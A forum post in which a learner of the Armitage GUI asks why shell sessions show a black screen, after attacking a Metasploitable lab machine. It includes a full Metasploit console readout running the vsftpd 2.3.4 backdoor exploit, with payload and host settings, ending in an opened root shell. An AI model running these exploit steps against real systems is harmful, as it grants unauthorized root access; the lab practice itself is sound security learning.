Armitage: Exploit Shells (Ex: Shell 1) Interaction Does Not Load Properly; Displays Black Screen

Aug 3, 2018 09:53 PM

Hi All,

(all exploits that result in shell come up as black, blank screens when I interact with Shells; No response to commands)

So I have been learning Armitage GUI; watching/reading tutorials and following along step-by-step & I have noticed I keep having the same issue regardless of tutorial video or text. I will do my best to clarify as best as possible. When I write AND/OR on my step-by-step display it means I have tried a combination as an attempt to blind troubleshoot

(HACKING METASPLOITABLE)

Start Armitage Load
Imported AND/OR Add Host
Imported Zenmap Scans (XLS) AND/OR Conducted NMAP Scans via Armitage
Selected Find Attacks AND/OR Hail Mary Attack
Launch Exploit (in this example I used: unix/ftp/vsftpd234backdoor)
READOUT:

msf > use exploit/unix/ftp/vsftpd234backdoor

msf exploit(unix/ftp/vsftpd234backdoor) > set TARGET 0

TARGET => 0

msf exploit(unix/ftp/vsftpd234backdoor) > set PAYLOAD cmd/unix/interact

PAYLOAD => cmd/unix/interact

msf exploit(unix/ftp/vsftpd234backdoor) > set LHOST MY IP ADDRESS HERE

LHOST => ME

msf exploit(unix/ftp/vsftpd234backdoor) > set LPORT 23426

LPORT => 23426

msf exploit(unix/ftp/vsftpd234backdoor) > set RPORT 21

RPORT => 21

msf exploit(unix/ftp/vsftpd234backdoor) > set RHOST TARGET IP ADDRESS HERE

RHOST => TARGET

msf exploit(unix/ftp/vsftpd234backdoor) > exploit -j

* Exploit running as background job 1.

* TARGET:21 - Banner: 220 (vsFTPd 2.3.4)

* TARGET:21 - USER: 331 Please specify the password.

TARGET:21 - Backdoor service has been spawned, handling...
TARGET:21 - UID: uid=0(root) gid=0(root)

Found shell.

* Command shell session 1 opened (ME-> TARGET) at 2018-08-03 17:33:20 -0400

Right Click on Exploited Device
Select Shell 1 > Interact
Shell 1 Tab Loads & Displays Blank Screen (it actually displays only this | on an all black screen